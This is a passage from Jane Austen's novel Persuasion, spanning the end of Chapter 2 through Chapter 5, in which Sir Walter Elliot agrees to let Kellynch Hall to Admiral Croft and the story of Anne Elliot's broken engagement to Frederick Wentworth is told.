abilities, whose difficulties in coming to any decision +in this instance were great, from the opposition of two leading principles. +She was of strict integrity herself, with a delicate sense of honour; +but she was as desirous of saving Sir Walter's feelings, as solicitous +for the credit of the family, as aristocratic in her ideas of what +was due to them, as anybody of sense and honesty could well be. +She was a benevolent, charitable, good woman, and capable of +strong attachments, most correct in her conduct, strict in her notions +of decorum, and with manners that were held a standard of good-breeding. +She had a cultivated mind, and was, generally speaking, +rational and consistent; but she had prejudices on the side of ancestry; +she had a value for rank and consequence, which blinded her a little +to the faults of those who possessed them. Herself the widow of +only a knight, she gave the dignity of a baronet all its due; +and Sir Walter, independent of his claims as an old acquaintance, +an attentive neighbour, an obliging landlord, the husband of her +very dear friend, the father of Anne and her sisters, was, +as being Sir Walter, in her apprehension, entitled to a great deal +of compassion and consideration under his present difficulties. + +They must retrench; that did not admit of a doubt. But she was +very anxious to have it done with the least possible pain to him +and Elizabeth. She drew up plans of economy, she made exact calculations, +and she did what nobody else thought of doing: she consulted Anne, +who never seemed considered by the others as having any interest +in the question. She consulted, and in a degree was influenced by her +in marking out the scheme of retrenchment which was at last submitted +to Sir Walter. Every emendation of Anne's had been on the side of +honesty against importance. She wanted more vigorous measures, +a more complete reformation, a quicker release from debt, +a much higher tone of indifference for everything but justice and equity. + +"If we can persuade your father to all this," said Lady Russell, +looking over her paper, "much may be done. If he will adopt +these regulations, in seven years he will be clear; and I hope +we may be able to convince him and Elizabeth, that Kellynch Hall has +a respectability in itself which cannot be affected by these reductions; +and that the true dignity of Sir Walter Elliot will be very far from +lessened in the eyes of sensible people, by acting like a man of principle. +What will he be doing, in fact, but what very many of our first families +have done, or ought to do? There will be nothing singular in his case; +and it is singularity which often makes the worst part of our suffering, +as it always does of our conduct. I have great hope of prevailing. +We must be serious and decided; for after all, the person who +has contracted debts must pay them; and though a great deal is due to +the feelings of the gentleman, and the head of a house, like your father, +there is still more due to the character of an honest man." + +This was the principle on which Anne wanted her father to be proceeding, +his friends to be urging him. She considered it as an act +of indispensable duty to clear away the claims of creditors with +all the expedition which the most comprehensive retrenchments +could secure, and saw no dignity in anything short of it. +She wanted it to be prescribed, and felt as a duty. She rated +Lady Russell's influence highly; and as to the severe degree +of self-denial which her own conscience prompted, she believed +there might be little more difficulty in persuading them to a complete, +than to half a reformation. Her knowledge of her father +and Elizabeth inclined her to think that the sacrifice of one pair +of horses would be hardly less painful than of both, and so on, +through the whole list of Lady Russell's too gentle reductions. + +How Anne's more rigid requisitions might have been taken +is of little consequence. Lady Russell's had no success at all: +could not be put up with, were not to be borne. "What! every comfort +of life knocked off! Journeys, London, servants, horses, table-- +contractions and restrictions every where! To live no longer +with the decencies even of a private gentleman! No, he would sooner +quit Kellynch Hall at once, than remain in it on such disgraceful terms." + +"Quit Kellynch Hall." The hint was immediately taken up by Mr Shepherd, +whose interest was involved in the reality of Sir Walter's retrenching, +and who was perfectly persuaded that nothing would be done without +a change of abode. "Since the idea had been started in the very quarter +which ought to dictate, he had no scruple," he said, "in confessing +his judgement to be entirely on that side. It did not appear to him +that Sir Walter could materially alter his style of living in a house +which had such a character of hospitality and ancient dignity to support. +In any other place Sir Walter might judge for himself; and would +be looked up to, as regulating the modes of life in whatever way +he might choose to model his household." + +Sir Walter would quit Kellynch Hall; and after a very few days more +of doubt and indecision, the great question of whither he should go +was settled, and the first outline of this important change made out. + +There had been three alternatives, London, Bath, or another house +in the country. All Anne's wishes had been for the latter. +A small house in their own neighbourhood, where they might still have +Lady Russell's society, still be near Mary, and still have the pleasure +of sometimes seeing the lawns and groves of Kellynch, was the object +of her ambition. But the usual fate of Anne attended her, +in having something very opposite from her inclination fixed on. +She disliked Bath, and did not think it agreed with her; +and Bath was to be her home. + +Sir Walter had at first thought more of London; but Mr Shepherd felt +that he could not be trusted in London, and had been skilful enough +to dissuade him from it, and make Bath preferred. It was a much safer +place for a gentleman in his predicament: he might there be important +at comparatively little expense. Two material advantages of Bath +over London had of course been given all their weight: its more convenient +distance from Kellynch, only fifty miles, and Lady Russell's spending +some part of every winter there; and to the very great satisfaction +of Lady Russell, whose first views on the projected change had been +for Bath, Sir Walter and Elizabeth were induced to believe that +they should lose neither consequence nor enjoyment by settling there. + +Lady Russell felt obliged to oppose her dear Anne's known wishes. +It would be too much to expect Sir Walter to descend into a small house +in his own neighbourhood. Anne herself would have found +the mortifications of it more than she foresaw, and to Sir Walter's +feelings they must have been dreadful. And with regard to Anne's +dislike of Bath, she considered it as a prejudice and mistake arising, +first, from the circumstance of her having been three years +at school there, after her mother's death; and secondly, +from her happening to be not in perfectly good spirits the only winter +which she had afterwards spent there with herself. + +Lady Russell was fond of Bath, in short, and disposed to think +it must suit them all; and as to her young friend's health, +by passing all the warm months with her at Kellynch Lodge, +every danger would be avoided; and it was in fact, a change which must +do both health and spirits good. Anne had been too little from home, +too little seen. Her spirits were not high. A larger society +would improve them. She wanted her to be more known. + +The undesirableness of any other house in the same neighbourhood +for Sir Walter was certainly much strengthened by one part, +and a very material part of the scheme, which had been happily +engrafted on the beginning. He was not only to quit his home, +but to see it in the hands of others; a trial of fortitude, +which stronger heads than Sir Walter's have found too much. +Kellynch Hall was to be let. This, however, was a profound secret, +not to be breathed beyond their own circle. + +Sir Walter could not have borne the degradation of being known +to design letting his house. Mr Shepherd had once mentioned the word +"advertise," but never dared approach it again. Sir Walter spurned +the idea of its being offered in any manner; forbad the slightest hint +being dropped of his having such an intention; and it was only on +the supposition of his being spontaneously solicited by some most +unexceptionable applicant, on his own terms, and as a great favour, +that he would let it at all. + +How quick come the reasons for approving what we like! Lady Russell had +another excellent one at hand, for being extremely glad that Sir Walter +and his family were to remove from the country. Elizabeth had been +lately forming an intimacy, which she wished to see interrupted. +It was with the daughter of Mr Shepherd, who had returned, +after an unprosperous marriage, to her father's house, with +the additional burden of two children. She was a clever young woman, +who understood the art of pleasing--the art of pleasing, at least, +at Kellynch Hall; and who had made herself so acceptable to Miss Elliot, +as to have been already staying there more than once, in spite of all +that Lady Russell, who thought it a friendship quite out of place, +could hint of caution and reserve. + +Lady Russell, indeed, had scarcely any influence with Elizabeth, +and seemed to love her, rather because she would love her, +than because Elizabeth deserved it. She had never received from her more +than outward attention, nothing beyond the observances of complaisance; +had never succeeded in any point which she wanted to carry, +against previous inclination. She had been repeatedly very earnest +in trying to get Anne included in the visit to London, sensibly open +to all the injustice and all the discredit of the selfish arrangements +which shut her out, and on many lesser occasions had endeavoured +to give Elizabeth the advantage of her own better judgement and experience; +but always in vain: Elizabeth would go her own way; and never had she +pursued it in more decided opposition to Lady Russell than in +this selection of Mrs Clay; turning from the society of so deserving +a sister, to bestow her affection and confidence on one who ought +to have been nothing to her but the object of distant civility. + +From situation, Mrs Clay was, in Lady Russell's estimate, a very unequal, +and in her character she believed a very dangerous companion; +and a removal that would leave Mrs Clay behind, and bring a choice +of more suitable intimates within Miss Elliot's reach, was therefore +an object of first-rate importance. + + + +Chapter 3 + + +"I must take leave to observe, Sir Walter," said Mr Shepherd +one morning at Kellynch Hall, as he laid down the newspaper, +"that the present juncture is much in our favour. This peace will +be turning all our rich naval officers ashore. They will be +all wanting a home. Could not be a better time, Sir Walter, +for having a choice of tenants, very responsible tenants. +Many a noble fortune has been made during the war. If a rich admiral +were to come in our way, Sir Walter--" + +"He would be a very lucky man, Shepherd," replied Sir Walter; +"that's all I have to remark. A prize indeed would Kellynch Hall +be to him; rather the greatest prize of all, let him have taken +ever so many before; hey, Shepherd?" + +Mr Shepherd laughed, as he knew he must, at this wit, and then added-- + +"I presume to observe, Sir Walter, that, in the way of business, +gentlemen of the navy are well to deal with. I have had a little knowledge +of their methods of doing business; and I am free to confess that they +have very liberal notions, and are as likely to make desirable tenants +as any set of people one should meet with. Therefore, Sir Walter, +what I would take leave to suggest is, that if in consequence of +any rumours getting abroad of your intention; which must be contemplated +as a possible thing, because we know how difficult it is to keep +the actions and designs of one part of the world from the notice +and curiosity of the other; consequence has its tax; I, John Shepherd, +might conceal any family-matters that I chose, for nobody would think it +worth their while to observe me; but Sir Walter Elliot has eyes upon him +which it may be very difficult to elude; and therefore, thus much +I venture upon, that it will not greatly surprise me if, +with all our caution, some rumour of the truth should get abroad; +in the supposition of which, as I was going to observe, since applications +will unquestionably follow, I should think any from our wealthy +naval commanders particularly worth attending to; and beg leave to add, +that two hours will bring me over at any time, to save you +the trouble of replying." + +Sir Walter only nodded. But soon afterwards, rising and pacing the room, +he observed sarcastically-- + +"There are few among the gentlemen of the navy, I imagine, who would +not be surprised to find themselves in a house of this description." + +"They would look around them, no doubt, and bless their good fortune," +said Mrs Clay, for Mrs Clay was present: her father had driven her over, +nothing being of so much use to Mrs Clay's health as a drive to Kellynch: +"but I quite agree with my father in thinking a sailor might be +a very desirable tenant. I have known a good deal of the profession; +and besides their liberality, they are so neat and careful +in all their ways! These valuable pictures of yours, Sir Walter, +if you chose to leave them, would be perfectly safe. Everything in +and about the house would be taken such excellent care of! +The gardens and shrubberies would be kept in almost as high order +as they are now. You need not be afraid, Miss Elliot, of your own +sweet flower gardens being neglected." + +"As to all that," rejoined Sir Walter coolly, "supposing I were induced +to let my house, I have by no means made up my mind as to the privileges +to be annexed to it. I am not particularly disposed to favour a tenant. +The park would be open to him of course, and few navy officers, +or men of any other description, can have had such a range; +but what restrictions I might impose on the use of the pleasure-grounds, +is another thing. I am not fond of the idea of my shrubberies being +always approachable; and I should recommend Miss Elliot to be on her guard +with respect to her flower garden. I am very little disposed +to grant a tenant of Kellynch Hall any extraordinary favour, +I assure you, be he sailor or soldier." + +After a short pause, Mr Shepherd presumed to say-- + +"In all these cases, there are established usages which +make everything plain and easy between landlord and tenant. +Your interest, Sir Walter, is in pretty safe hands. Depend upon me +for taking care that no tenant has more than his just rights. +I venture to hint, that Sir Walter Elliot cannot be half so jealous +for his own, as John Shepherd will be for him." + +Here Anne spoke-- + +"The navy, I think, who have done so much for us, have at least +an equal claim with any other set of men, for all the comforts and +all the privileges which any home can give. Sailors work hard enough +for their comforts, we must all allow." + +"Very true, very true. What Miss Anne says, is very true," +was Mr Shepherd's rejoinder, and "Oh! certainly," was his daughter's; +but Sir Walter's remark was, soon afterwards-- + +"The profession has its utility, but I should be sorry to see +any friend of mine belonging to it." + +"Indeed!" was the reply, and with a look of surprise. + +"Yes; it is in two points offensive to me; I have two strong grounds +of objection to it. First, as being the means of bringing persons +of obscure birth into undue distinction, and raising men to honours +which their fathers and grandfathers never dreamt of; and secondly, +as it cuts up a man's youth and vigour most horribly; a sailor grows old +sooner than any other man. I have observed it all my life. +A man is in greater danger in the navy of being insulted by the rise +of one whose father, his father might have disdained to speak to, +and of becoming prematurely an object of disgust himself, than in +any other line. One day last spring, in town, I was in company +with two men, striking instances of what I am talking of; +Lord St Ives, whose father we all know to have been a country curate, +without bread to eat; I was to give place to Lord St Ives, +and a certain Admiral Baldwin, the most deplorable-looking personage +you can imagine; his face the colour of mahogany, rough and rugged +to the last degree; all lines and wrinkles, nine grey hairs of a side, +and nothing but a dab of powder at top. `In the name of heaven, +who is that old fellow?' said I to a friend of mine who was standing near, +(Sir Basil Morley). `Old fellow!' cried Sir Basil, `it is Admiral Baldwin. +What do you take his age to be?' `Sixty,' said I, `or perhaps sixty-two.' +`Forty,' replied Sir Basil, `forty, and no more.' Picture to yourselves +my amazement; I shall not easily forget Admiral Baldwin. +I never saw quite so wretched an example of what a sea-faring life can do; +but to a degree, I know it is the same with them all: they are all +knocked about, and exposed to every climate, and every weather, +till they are not fit to be seen. It is a pity they are not knocked +on the head at once, before they reach Admiral Baldwin's age." + +"Nay, Sir Walter," cried Mrs Clay, "this is being severe indeed. +Have a little mercy on the poor men. We are not all born to be handsome. +The sea is no beautifier, certainly; sailors do grow old betimes; +I have observed it; they soon lose the look of youth. But then, +is not it the same with many other professions, perhaps most other? +Soldiers, in active service, are not at all better off: and even in +the quieter professions, there is a toil and a labour of the mind, +if not of the body, which seldom leaves a man's looks to the natural +effect of time. The lawyer plods, quite care-worn; the physician +is up at all hours, and travelling in all weather; and even +the clergyman--" she stopt a moment to consider what might +do for the clergyman;--"and even the clergyman, you know is obliged +to go into infected rooms, and expose his health and looks to +all the injury of a poisonous atmosphere. In fact, as I have +long been convinced, though every profession is necessary and honourable +in its turn, it is only the lot of those who are not obliged to follow any, +who can live in a regular way, in the country, choosing their own hours, +following their own pursuits, and living on their own property, +without the torment of trying for more; it is only their lot, I say, +to hold the blessings of health and a good appearance to the utmost: +I know no other set of men but what lose something of their personableness +when they cease to be quite young." + +It seemed as if Mr Shepherd, in this anxiety to bespeak +Sir Walter's good will towards a naval officer as tenant, +had been gifted with foresight; for the very first application +for the house was from an Admiral Croft, with whom he shortly afterwards +fell into company in attending the quarter sessions at Taunton; and indeed, +he had received a hint of the Admiral from a London correspondent. +By the report which he hastened over to Kellynch to make, +Admiral Croft was a native of Somersetshire, who having acquired +a very handsome fortune, was wishing to settle in his own country, +and had come down to Taunton in order to look at some advertised places +in that immediate neighbourhood, which, however, had not suited him; +that accidentally hearing--(it was just as he had foretold, +Mr Shepherd observed, Sir Walter's concerns could not be kept a secret,)-- +accidentally hearing of the possibility of Kellynch Hall being to let, +and understanding his (Mr Shepherd's) connection with the owner, +he had introduced himself to him in order to make particular inquiries, +and had, in the course of a pretty long conference, expressed as strong +an inclination for the place as a man who knew it only by description +could feel; and given Mr Shepherd, in his explicit account of himself, +every proof of his being a most responsible, eligible tenant. + +"And who is Admiral Croft?" was Sir Walter's cold suspicious inquiry. + +Mr Shepherd answered for his being of a gentleman's family, +and mentioned a place; and Anne, after the little pause which followed, +added-- + +"He is a rear admiral of the white. He was in the Trafalgar action, +and has been in the East Indies since; he was stationed there, +I believe, several years." + +"Then I take it for granted," observed Sir Walter, "that his face +is about as orange as the cuffs and capes of my livery." + +Mr Shepherd hastened to assure him, that Admiral Croft was a very hale, +hearty, well-looking man, a little weather-beaten, to be sure, +but not much, and quite the gentleman in all his notions and behaviour; +not likely to make the smallest difficulty about terms, only wanted +a comfortable home, and to get into it as soon as possible; +knew he must pay for his convenience; knew what rent a ready-furnished +house of that consequence might fetch; should not have been surprised +if Sir Walter had asked more; had inquired about the manor; +would be glad of the deputation, certainly, but made no great point of it; +said he sometimes took out a gun, but never killed; quite the gentleman. + +Mr Shepherd was eloquent on the subject; pointing out all +the circumstances of the Admiral's family, which made him +peculiarly desirable as a tenant. He was a married man, +and without children; the very state to be wished for. A house was +never taken good care of, Mr Shepherd observed, without a lady: +he did not know, whether furniture might not be in danger of suffering +as much where there was no lady, as where there were many children. +A lady, without a family, was the very best preserver of furniture +in the world. He had seen Mrs Croft, too; she was at Taunton +with the admiral, and had been present almost all the time they were +talking the matter over. + +"And a very well-spoken, genteel, shrewd lady, she seemed to be," +continued he; "asked more questions about the house, and terms, +and taxes, than the Admiral himself, and seemed more conversant +with business; and moreover, Sir Walter, I found she was not quite +unconnected in this country, any more than her husband; that is to say, +she is sister to a gentleman who did live amongst us once; +she told me so herself: sister to the gentleman who lived +a few years back at Monkford. Bless me! what was his name? +At this moment I cannot recollect his name, though I have heard it so lately. +Penelope, my dear, can you help me to the name of the gentleman +who lived at Monkford: Mrs Croft's brother?" + +But Mrs Clay was talking so eagerly with Miss Elliot, that she did not +hear the appeal. + +"I have no conception whom you can mean, Shepherd; I remember +no gentleman resident at Monkford since the time of old Governor Trent." + +"Bless me! how very odd! I shall forget my own name soon, I suppose. +A name that I am so very well acquainted with; knew the gentleman +so well by sight; seen him a hundred times; came to consult me once, +I remember, about a trespass of one of his neighbours; farmer's man +breaking into his orchard; wall torn down; apples stolen; +caught in the fact; and afterwards, contrary to my judgement, +submitted to an amicable compromise. Very odd indeed!" + +After waiting another moment-- + +"You mean Mr Wentworth, I suppose?" said Anne. + +Mr Shepherd was all gratitude. + +"Wentworth was the very name! Mr Wentworth was the very man. +He had the curacy of Monkford, you know, Sir Walter, some time back, +for two or three years. Came there about the year ---5, I take it. +You remember him, I am sure." + +"Wentworth? Oh! ay,--Mr Wentworth, the curate of Monkford. +You misled me by the term gentleman. I thought you were speaking of +some man of property: Mr Wentworth was nobody, I remember; +quite unconnected; nothing to do with the Strafford family. +One wonders how the names of many of our nobility become so common." + +As Mr Shepherd perceived that this connexion of the Crofts did them +no service with Sir Walter, he mentioned it no more; returning, +with all his zeal, to dwell on the circumstances more indisputably +in their favour; their age, and number, and fortune; the high idea +they had formed of Kellynch Hall, and extreme solicitude for +the advantage of renting it; making it appear as if they ranked +nothing beyond the happiness of being the tenants of Sir Walter Elliot: +an extraordinary taste, certainly, could they have been supposed in +the secret of Sir Walter's estimate of the dues of a tenant. + +It succeeded, however; and though Sir Walter must ever look with +an evil eye on anyone intending to inhabit that house, and think them +infinitely too well off in being permitted to rent it on the highest terms, +he was talked into allowing Mr Shepherd to proceed in the treaty, +and authorising him to wait on Admiral Croft, who still remained +at Taunton, and fix a day for the house being seen. + +Sir Walter was not very wise; but still he had experience enough +of the world to feel, that a more unobjectionable tenant, +in all essentials, than Admiral Croft bid fair to be, could hardly offer. +So far went his understanding; and his vanity supplied a little +additional soothing, in the Admiral's situation in life, which was just +high enough, and not too high. "I have let my house to Admiral Croft," +would sound extremely well; very much better than to any mere Mr--; +a Mr (save, perhaps, some half dozen in the nation,) always needs +a note of explanation. An admiral speaks his own consequence, +and, at the same time, can never make a baronet look small. +In all their dealings and intercourse, Sir Walter Elliot must ever +have the precedence. + +Nothing could be done without a reference to Elizabeth: +but her inclination was growing so strong for a removal, +that she was happy to have it fixed and expedited by a tenant at hand; +and not a word to suspend decision was uttered by her. + +Mr Shepherd was completely empowered to act; and no sooner had +such an end been reached, than Anne, who had been a most attentive listener +to the whole, left the room, to seek the comfort of cool air for her +flushed cheeks; and as she walked along a favourite grove, said, +with a gentle sigh, "A few months more, and he, perhaps, +may be walking here." + + + +Chapter 4 + + +He was not Mr Wentworth, the former curate of Monkford, +however suspicious appearances may be, but a Captain Frederick Wentworth, +his brother, who being made commander in consequence of the action +off St Domingo, and not immediately employed, had come into Somersetshire, +in the summer of 1806; and having no parent living, found a home +for half a year at Monkford. He was, at that time, a remarkably fine +young man, with a great deal of intelligence, spirit, and brilliancy; +and Anne an extremely pretty girl, with gentleness, modesty, taste, +and feeling. Half the sum of attraction, on either side, might have +been enough, for he had nothing to do, and she had hardly anybody to love; +but the encounter of such lavish recommendations could not fail. +They were gradually acquainted, and when acquainted, rapidly and +deeply in love. It would be difficult to say which had seen +highest perfection in the other, or which had been the happiest: +she, in receiving his declarations and proposals, or he in +having them accepted. + +A short period of exquisite felicity followed, and but a short one. +Troubles soon arose. Sir Walter, on being applied to, without actually +withholding his consent, or saying it should never be, gave it all +the negative of great astonishment, great coldness, great silence, +and a professed resolution of doing nothing for his daughter. +He thought it a very degrading alliance; and Lady Russell, though with +more tempered and pardonable pride, received it as a most unfortunate one. + +Anne Elliot, with all her claims of birth, beauty, and mind, +to throw herself away at nineteen; involve herself at nineteen +in an engagement with a young man, who had nothing but himself +to recommend him, and no hopes of attaining affluence, but in the chances +of a most uncertain profession, and no connexions to secure +even his farther rise in the profession, would be, indeed, a throwing away, +which she grieved to think of! Anne Elliot, so young; known to so few, +to be snatched off by a stranger without alliance or fortune; +or rather sunk by him into a state of most wearing, anxious, +youth-killing dependence! It must not be, if by any fair interference +of friendship, any representations from one who had almost a mother's love, +and mother's rights, it would be prevented. + +Captain Wentworth had no fortune. He had been lucky in his profession; +but spending freely, what had come freely, had realized nothing. +But he was confident that he should soon be rich: +full of life and ardour, he knew that he should soon have a ship, +and soon be on a station that would lead to everything he wanted. +He had always been lucky; he knew he should be so still. +Such confidence, powerful in its own warmth, and bewitching in +the wit which often expressed it, must have been enough for Anne; +but Lady Russell saw it very differently. His sanguine temper, +and fearlessness of mind, operated very differently on her. +She saw in it but an aggravation of the evil. It only added a +dangerous character to himself. He was brilliant, he was headstrong. +Lady Russell had little taste for wit, and of anything approaching +to imprudence a horror. She deprecated the connexion in every light. + +Such opposition, as these feelings produced, was more than +Anne could combat. Young and gentle as she was, it might yet +have been possible to withstand her father's ill-will, +though unsoftened by one kind word or look on the part of her sister; +but Lady Russell, whom she had always loved and relied on, could not, +with such steadiness of opinion, and such tenderness of manner, +be continually advising her in vain. She was persuaded to believe +the engagement a wrong thing: indiscreet, improper, hardly capable +of success, and not deserving it. But it was not a merely selfish caution, +under which she acted, in putting an end to it. Had she not +imagined herself consulting his good, even more than her own, +she could hardly have given him up. The belief of being prudent, +and self-denying, principally for his advantage, was her chief consolation, +under the misery of a parting, a final parting; and every consolation +was required, for she had to encounter all the additional pain of opinions, +on his side, totally unconvinced and unbending, and of his feeling himself +ill used by so forced a relinquishment. He had left the country +in consequence. + +A few months had seen the beginning and the end of their acquaintance; +but not with a few months ended Anne's share of suffering from it. +Her attachment and regrets had, for a long time, clouded every +enjoyment of youth, and an early loss of bloom and spirits +had been their lasting effect. + +More than seven years were gone since this little history +of sorrowful interest had reached its close; and time had +softened down much, perhaps nearly all of peculiar attachment to him, +but she had been too dependent on time alone; no aid had been given +in change of place (except in one visit to Bath soon after the rupture), +or in any novelty or enlargement of society. No one had ever +come within the Kellynch circle, who could bear a comparison with +Frederick Wentworth, as he stood in her memory. No second attachment, +the only thoroughly natural, happy, and sufficient cure, +at her time of life, had been possible to the nice tone of her mind, +the fastidiousness of her taste, in the small limits of the society +around them. She had been solicited, when about two-and-twenty, +to change her name, by the young man, who not long afterwards found +a more willing mind in her younger sister; and Lady Russell had +lamented her refusal; for Charles Musgrove was the eldest son of a man, +whose landed property and general importance were second in that country, +only to Sir Walter's, and of good character and appearance; +and however Lady Russell might have asked yet for something more, +while Anne was nineteen, she would have rejoiced to see her at twenty-two +so respectably removed from the partialities and injustice of +her father's house, and settled so permanently near herself. +But in this case, Anne had left nothing for advice to do; +and though Lady Russell, as satisfied as ever with her own discretion, +never wished the past undone, she began now to have the anxiety +which borders on hopelessness for Anne's being tempted, by some man +of talents and independence, to enter a state for which she held her +to be peculiarly fitted by her warm affections and domestic habits. + +They knew not each other's opinion, either its constancy or its change, +on the one leading point of Anne's conduct, for the subject was never +alluded to; but Anne, at seven-and-twenty, thought very differently +from what she had been made to think at nineteen. She did not blame +Lady Russell, she did not blame herself for having been guided by her; +but she felt that were any young person, in similar circumstances, +to apply to her for counsel, they would never receive any of such +certain immediate wretchedness, such uncertain future good. +She was persuaded that under every disadvantage of disapprobation at home, +and every anxiety attending his profession, all their probable fears, +delays, and disappointments, she should yet have been a happier woman +in maintaining the engagement, than she had been in the sacrifice of it; +and this, she fully believed, had the usual share, had even more than +the usual share of all such solicitudes and suspense been theirs, +without reference to the actual results of their case, which, +as it happened, would have bestowed earlier prosperity than +could be reasonably calculated on. All his sanguine expectations, +all his confidence had been justified. His genius and ardour +had seemed to foresee and to command his prosperous path. +He had, very soon after their engagement ceased, got employ: +and all that he had told her would follow, had taken place. +He had distinguished himself, and early gained the other step in rank, +and must now, by successive captures, have made a handsome fortune. +She had only navy lists and newspapers for her authority, +but she could not doubt his being rich; and, in favour of his constancy, +she had no reason to believe him married. + +How eloquent could Anne Elliot have been! how eloquent, at least, +were her wishes on the side of early warm attachment, and a cheerful +confidence in futurity, against that over-anxious caution which +seems to insult exertion and distrust Providence! She had been forced +into prudence in her youth, she learned romance as she grew older: +the natural sequel of an unnatural beginning. + +With all these circumstances, recollections and feelings, +she could not hear that Captain Wentworth's sister was likely +to live at Kellynch without a revival of former pain; and many a stroll, +and many a sigh, were necessary to dispel the agitation of the idea. +She often told herself it was folly, before she could harden her nerves +sufficiently to feel the continual discussion of the Crofts +and their business no evil. She was assisted, however, by that +perfect indifference and apparent unconsciousness, among the only three +of her own friends in the secret of the past, which seemed almost to deny +any recollection of it. She could do justice to the superiority +of Lady Russell's motives in this, over those of her father and Elizabeth; +she could honour all the better feelings of her calmness; +but the general air of oblivion among them was highly important +from whatever it sprung; and in the event of Admiral Croft's really +taking Kellynch Hall, she rejoiced anew over the conviction which +had always been most grateful to her, of the past being known to +those three only among her connexions, by whom no syllable, +she believed, would ever be whispered, and in the trust that among his, +the brother only with whom he had been residing, had received +any information of their short-lived engagement. That brother had been +long removed from the country and being a sensible man, and, moreover, +a single man at the time, she had a fond dependence on no human creature's +having heard of it from him. + +The sister, Mrs Croft, had then been out of England, accompanying +her husband on a foreign station, and her own sister, Mary, +had been at school while it all occurred; and never admitted by +the pride of some, and the delicacy of others, to the smallest knowledge +of it afterwards. + +With these supports, she hoped that the acquaintance between herself +and the Crofts, which, with Lady Russell, still resident in Kellynch, +and Mary fixed only three miles off, must be anticipated, +need not involve any particular awkwardness. + + + +Chapter 5 + + +On the morning appointed for Admiral and Mrs Croft's seeing Kellynch Hall, +Anne found it most natural to take her almost daily walk to Lady Russell's, +and keep out of the way till all was over; when she found it most natural +to be sorry that she had missed the opportunity of seeing them. + +This meeting of the two parties proved highly satisfactory, +and decided the whole business at once. Each lady was previously +well disposed for an agreement, and saw nothing, therefore, +but good manners in the other; and with regard to the gentlemen, +there was such an hearty good humour, such an open, trusting liberality +on the Admiral's side, as could not but influence Sir Walter, +who had besides been flattered into his very best and most polished +behaviour by Mr Shepherd's assurances of his being known, by report, +to the Admiral, as a model of good breeding. + +The house and grounds, and furniture, were approved, the Crofts +were approved, terms, time, every thing, and every body, was right; +and Mr Shepherd's clerks were set to work, without there having been +a single preliminary difference to modify of all that +"This indenture sheweth." + +Sir Walter, without hesitation, declared the Admiral to be +the best-looking sailor he had ever met with, and went so far as to say, +that if his own man might have had the arranging of his hair, +he should not be ashamed of being seen with him any where; +and the Admiral, with sympathetic cordiality, observed to his wife +as they drove back through the park, "I thought we should soon +come to a deal, my dear, in spite of what they told us at Taunton. +The Baronet will never set the Thames on fire, but there seems to be +no harm in him." reciprocal compliments, which would have been +esteemed about equal. + +The Crofts were to have possession at Michaelmas; and as Sir Walter +proposed removing to Bath in the course of the preceding month, +there was no time to be lost in making every dependent arrangement. + +Lady Russell, convinced that Anne would not be allowed to be of any use, +or any importance, in the choice of the house which they were +going to secure, was very unwilling to have her hurried away so soon, +and wanted to make it possible for her to stay behind till she might +convey her to Bath herself after Christmas; but having engagements +of her own which must take her from Kellynch for several weeks, +she was unable to give the full invitation she wished, and Anne +though dreading the possible heats of September in all the white glare +of Bath, and grieving to forego all the influence so sweet and so sad +of the autumnal months in the country, did not think that, +everything considered, she wished to remain. It would be most right, +and most wise, and, therefore must involve least suffering +to go with the others. + +Something occurred, however, to give her a different duty. +Mary, often a little unwell, and always thinking a great deal +of her own complaints, and always in the habit of claiming Anne +when anything was the matter, was indisposed; and foreseeing +that she should not have a day's health all the autumn, entreated, +or rather required her, for it was hardly entreaty, to come to +Uppercross Cottage, and bear her company as long as she should want her, +instead of going to Bath. + +"I cannot possibly do without Anne," was Mary's reasoning; +and Elizabeth's reply was, "Then I am sure Anne had better stay, +for nobody will want her in Bath." + +To be claimed as a good, though in an improper style, is at least +better than being rejected as no good at all; and Anne, glad to +be thought of some use, glad to have anything marked out as a duty, +and certainly not sorry to have the scene of it in the country, +and her own dear country, readily agreed to stay. + +This invitation of Mary's removed all Lady Russell's difficulties, +and it was consequently soon settled that Anne should not go to Bath +till Lady Russell took her, and that all the intervening time +should be divided between Uppercross Cottage and Kellynch Lodge. + +So far all was perfectly right; but Lady Russell was almost startled +by the wrong of one part of the Kellynch Hall plan, when it burst on her, +which was, Mrs Clay's being engaged to go to Bath with Sir Walter +and Elizabeth, as a most important and valuable assistant to the latter +in all the business before her. Lady Russell was extremely sorry +that such a measure should have been resorted to at all, wondered, +grieved, and feared; and the affront it contained to Anne, +in Mrs Clay's being of so much use, while Anne could be of none, +was a very sore aggravation. + +Anne herself was become hardened to such affronts; but she felt +the imprudence of the arrangement quite as keenly as Lady Russell. +With a great deal of quiet observation, and a knowledge, +which she often wished less, of her father's character, she was +sensible that results the most serious to his family from the intimacy +were more than possible. She did not imagine that her father +had at present an idea of the kind. Mrs Clay had freckles, +and a projecting tooth, and a clumsy wrist, which he was continually +making severe remarks upon, in her absence; but she was young, +and certainly altogether well-looking, and possessed, in an acute mind +and assiduous pleasing manners, infinitely more dangerous attractions +than any merely personal might have been. Anne was so impressed +by the degree of their danger, that she could not excuse herself +from trying to make it perceptible to her sister. She had little hope +of success; but Elizabeth, who in the event of such a reverse would be +so much more to be pitied than herself, should never, she thought, +have reason to reproach her for giving no warning. + +She spoke, and seemed only to offend. Elizabeth could not conceive +how such an absurd suspicion should occur to her, and indignantly +answered for each party's perfectly knowing their situation. + +"Mrs Clay," said she, warmly, "never forgets who she is; +and as I am rather better acquainted with her sentiments than you can be, +I can assure you, that upon the subject of marriage they are +particularly nice, and that she reprobates all inequality of condition +and rank more strongly than most people. And as to my father, +I really should not have thought that he, who has kept himself single +so long for our sakes, need be suspected now. If Mrs Clay were +a very beautiful woman, I grant you, it might be wrong to have her +so much with me; not that anything in the world, I am sure, +would induce my father to make a degrading match, but he might +be rendered unhappy. But poor Mrs Clay who, with all her merits, +can never have been reckoned tolerably pretty, I really think poor +Mrs Clay may be staying here in perfect safety. One would imagine +you had never heard my father speak of her personal misfortunes, +though I know you must fifty times. That tooth of her's +and those freckles. Freckles do not disgust me so very much +as they do him. I have known a face not materially disfigured by a few, +but he abominates them. You must have heard him notice +Mrs Clay's freckles." + +"There is hardly any personal defect," replied Anne, +"which an agreeable manner might not gradually reconcile one to." + +"I think very differently," answered Elizabeth, shortly; +"an agreeable manner may set off handsome features, but can never +alter plain ones. However, at any rate, as I have a great deal more +at stake on this point than anybody else can have, I think it +rather unnecessary in you to be advising me." + +Anne had done; glad that it was over, and not absolutely hopeless +of doing good. Elizabeth, though resenting the suspicion, +might yet be made observant by it. + +The last office of the four carriage-horses was to draw Sir Walter, +Miss Elliot, and Mrs Clay to Bath. The party 